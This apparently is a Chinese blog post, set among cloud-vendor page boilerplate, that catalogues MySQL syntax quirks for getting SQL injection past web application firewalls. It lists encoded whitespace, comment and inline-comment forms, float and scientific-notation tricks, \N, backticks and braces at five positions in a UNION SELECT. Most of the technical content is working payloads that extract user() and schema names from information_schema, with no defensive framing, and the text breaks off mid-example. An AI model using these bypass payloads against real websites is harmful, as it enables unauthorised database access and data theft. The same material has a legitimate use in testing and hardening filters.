WAF Bypass数据库特性(Mysql探索篇)

本文涉及的产品
RDS MySQL Serverless 基础系列,0.5-2RCU 50GB
RDS MySQL Serverless 高可用系列,价值2615元额度,1个月
云数据库 RDS PostgreSQL,高可用系列 2核4GB
简介: 0x01 背景 Mysql数据库特性探索,探索能够绕过WAF的数据库特性。 0x02 测试 常见有5个位置即:   SELECT * FROM admin WHERE username = 1【位置一】union【位置二】select【位置三】1,user()【位置四】from【位置五】adm...

0x01 背景

Mysql数据库特性探索,探索能够绕过WAF的数据库特性。

0x02 测试

常见有5个位置即:   SELECT * FROM admin WHERE username = 1【位置一】union【位置二】select【位置三】1,user()【位置四】from【位置五】admin

位置一:参数和union之间的位置

(1): 常见形式%20、/**/、/*!50000union*/等形式:

SELECT * FROM admin WHERE username = 1 union select 1,user() from admin

其他形式如:%1%20、%39%20、%40%20

(2)%0a 等空白字符:

Mysql中可以利用的空白字符有:%09,%0a,%0b,%0c,%0d,%20,%a0;

id=1%0aunion select 1,user() from admin

%23%0a 

(3)浮点数形式 :1.1

SELECT * FROM admin WHERE username = 1.0union select 1,user() from admin

SELECT * FROM admin WHERE username = 1.union select 1,user() from admin

其他形式如:%1%2e、%2%2e

(4)1E0的形式:

SELECT * FROM admin WHERE username = 1E0union select 1,user() from admin

(5) \Nunion的形式:

SELECT * FROM admin WHERE username = \Nunion select 1,user() from admin

位置二:union和select之间的位置

(1)空白字符

Mysql中可以利用的空白字符有:%09,%0a,%0b,%0c,%0d,%20,%a0;

id=1 union%a0select 1,user() from admin

%23%0a

(2)注释符

使用空白注释,MYSQL中可以利用的空白字符有:

/**/

/*anything*/

(3)括号

SELECT * FROM admin WHERE username =1 union(select 'test',(select user() from admin limit 0,1))

select * from admin union(select 'test',(select 'asd'),(select user() from users limit 0,1))

位置三:select和查询参数之间的位置

(1)空白字符

Mysql中可以利用的空白字符有:%09,%0a,%0b,%0c,%0d,%20,%a0;

id=1 union select%091,user() from admin

%23%0a

(2)注释符

使用空白注释,MYSQL中可以利用的空白字符有:

/**/

/*anything*/

(3)其他字符

%21  ! 叹号

%2b  +  加号

%2d  -  减号

%40  @  电子邮件符号

%7e   ~  波浪号

SELECT * FROM admin WHERE username = 1 union select~1,user() from admin 

(4)其他方式:

括号:  SELECT * FROM admin WHERE username = 1 union select(1),user() from admin 

内联:  SELECT * FROM admin WHERE username = 1 union /*!12345select*/1,user() from admin 

@字符:SELECT * FROM admin WHERE username = 1 union select@`1`,user() from admin 

{括号:SELECT * FROM admin WHERE username = 1 union select {x 1},user() from admin 

引号: SELECT * FROM admin WHERE username = 1 union select"1",user() from admin 

\N:    SELECT * FROM admin WHERE username = 1 union select\N,user() from admin 

位置四:查询参数和from之间的位置

(1)空白字符

Mysql中可以利用的空白字符有:%09,%0a,%0b,%0c,%0d,%20,%a0;

id=1 union select 1,user()%09from admin

%23%0a

(2)注释符

使用空白注释,MYSQL中可以利用的空白字符有:

/**/

/*anything*/

(3)其他符号

波浪号%60: SELECT * FROM admin WHERE username = 1 union(select 1,(select `schema_name`from information_schema.SCHEMATA limit 0,1))

                   SELECT * FROM admin WHERE username = 1 union select 1,user()`from admin

内联注释: SELECT * FROM admin WHERE username = 1 union(select 1,(select/*!schema_name*/from information_schema.SCHEMATA limit 1,1))

{括号:     SELECT * FROM admin WHERE username = 1 union(select 1,(select{x schema_name}from information_schema.SCHEMATA limit 1,1))

括号:      SELECT * FROM admin WHERE username = 1 union(select 1,(select(schema_name)from information_schema.SCHEMATA limit 1,1))

双引号:     SELECT * FROM admin WHERE username = 1 union select 1,user()""from admin

括号后面加字母:SELECT * FROM admin WHERE username = 1 union select 1,user()A from admin

破浪号加字母:   SELECT * FROM admin WHERE username = 1 union select 1,user()`bfrom admin 

(4)浮点数、1E0的形式、\N形式

id=1 union%0cselect user(),2.0from admin

SELECT * FROM admin WHERE username = 1 union

相关实践学习
每个IT人都想学的“Web应用上云经典架构”实战
本实验从Web应用上云这个最基本的、最普遍的需求出发,帮助IT从业者们通过“阿里云Web应用上云解决方案”,了解一个企业级Web应用上云的常见架构,了解如何构建一个高可用、可扩展的企业级应用架构。
MySQL数据库入门学习
本课程通过最流行的开源数据库MySQL带你了解数据库的世界。   相关的阿里云产品:云数据库RDS MySQL 版 阿里云关系型数据库RDS(Relational Database Service)是一种稳定可靠、可弹性伸缩的在线数据库服务,提供容灾、备份、恢复、迁移等方面的全套解决方案,彻底解决数据库运维的烦恼。 了解产品详情: https://www.aliyun.com/product/rds/mysql 
目录
相关文章
|
22天前
|
缓存 关系型数据库 BI
使用MYSQL Report分析数据库性能(下)
使用MYSQL Report分析数据库性能
57 3
|
15天前
|
关系型数据库 MySQL 分布式数据库
阿里云PolarDB云原生数据库收费价格:MySQL和PostgreSQL详细介绍
阿里云PolarDB兼容MySQL、PostgreSQL及Oracle语法,支持集中式与分布式架构。标准版2核4G年费1116元起,企业版最高性能达4核16G,支持HTAP与多级高可用,广泛应用于金融、政务、互联网等领域,TCO成本降低50%。
|
16天前
|
关系型数据库 MySQL 数据库
阿里云数据库RDS费用价格:MySQL、SQL Server、PostgreSQL和MariaDB引擎收费标准
阿里云RDS数据库支持MySQL、SQL Server、PostgreSQL、MariaDB,多种引擎优惠上线!MySQL倚天版88元/年,SQL Server 2核4G仅299元/年,PostgreSQL 227元/年起。高可用、可弹性伸缩,安全稳定。详情见官网活动页。
|
17天前
|
关系型数据库 分布式数据库 数据库
阿里云数据库收费价格:MySQL、PostgreSQL、SQL Server和MariaDB引擎费用整理
阿里云数据库提供多种类型,包括关系型与NoSQL,主流如PolarDB、RDS MySQL/PostgreSQL、Redis等。价格低至21元/月起,支持按需付费与优惠套餐,适用于各类应用场景。
|
16天前
|
SQL 关系型数据库 MySQL
Mysql数据恢复—Mysql数据库delete删除后数据恢复案例
本地服务器,操作系统为windows server。服务器上部署mysql单实例,innodb引擎,独立表空间。未进行数据库备份,未开启binlog。 人为误操作使用Delete命令删除数据时未添加where子句,导致全表数据被删除。删除后未对该表进行任何操作。需要恢复误删除的数据。 在本案例中的mysql数据库未进行备份,也未开启binlog日志,无法直接还原数据库。
|
22天前
|
关系型数据库 MySQL 数据库
MySql事务以及事务的四大特性
事务是数据库操作的基本单元,具有ACID四大特性:原子性、一致性、隔离性、持久性。它确保数据的正确性与完整性。并发事务可能引发脏读、不可重复读、幻读等问题,数据库通过不同隔离级别(如读未提交、读已提交、可重复读、串行化)加以解决。MySQL默认使用可重复读级别。高隔离级别虽能更好处理并发问题,但会降低性能。
|
22天前
|
关系型数据库 MySQL 数据库
阿里云数据库RDS支持MySQL、SQL Server、PostgreSQL和MariaDB引擎
阿里云数据库RDS支持MySQL、SQL Server、PostgreSQL和MariaDB引擎,提供高性价比、稳定安全的云数据库服务,适用于多种行业与业务场景。
|
云安全 负载均衡 网络协议
阿里云waf简介和如何配置​
阿里云WAF(Web应用程序防火墙)是一种高效、智能的云安全服务,旨在保护Web应用程序免受各种网络攻击的威胁。它可防止诸如SQL注入、跨站点脚本(XSS)和跨站点请求伪造(CSRF)等攻击,有效保障了Web应用程序的安全性与稳定性。 阿里云WAF在Web应用程序与互联网之间构建一道安全屏障,通过拦截和检测恶意流量,防止攻击者对您的Web应用程序进行攻击。它不仅覆盖了常见的网络攻击类型,还针对新兴的攻击手段进行了防护设计,确保您的Web应用程序在面对各种威胁时都能得到全方位的保护。
|
20天前
|
监控 安全 物联网
阿里云WAF是什么?
Web应用防火墙(WAF)是保护网站、APP及API的关键防线,可实时监控并阻断恶意流量,防范数据泄露与常见攻击。它通过分析HTTP请求,识别威胁,保障敏感信息,满足合规要求,支持云、主机、网络多场景部署,助力企业构建坚实的安全屏障。
|
7月前
|
云安全 数据采集 安全
阿里云热门云安全产品简介:Web应用防火墙与云防火墙产品各自作用介绍
在阿里云的安全类云产品中,Web应用防火墙与云防火墙是用户比较关注的两款安全产品,二者在作用上各有侧重,共同构成了阿里云强大的安全防护体系。本文将对Web应用防火墙与云防火墙产品各自的主要作用进行详细介绍。

推荐镜像

更多